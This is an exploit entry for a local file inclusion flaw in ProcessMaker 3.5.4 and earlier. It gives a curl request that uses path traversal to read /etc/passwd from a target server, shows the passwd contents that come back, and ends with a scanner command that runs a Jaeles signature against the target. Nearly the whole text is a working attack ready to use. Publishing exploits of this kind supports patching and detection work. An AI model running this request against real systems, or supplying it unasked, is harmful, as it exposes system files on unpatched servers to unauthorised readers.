ProcessMaker 3.5.4 - Local File inclusion Vulnerability

# Exploit Title: ProcessMaker 3.5.4 - Local File inclusion
# Exploit Author: Ai Ho (@j3ssiejjj)
# Date: 16-04-2021
# Vendor Homepage: https://www.processmaker.com/
# Version: ProcessMaker <= 3.5.4
# References: https://github.com/jaeles-project/jaeles-signatures/blob/master/common/process-maker-lfi.yaml

# PoC:

## With curl

curl -k --path-as-is 'http://targetIP/../../../..//etc/passwd'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

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## With Jaeles Scanner

jaeles scan -s  ~/jaeles-signatures/common/process-maker-lfi.yaml -u http://targetIP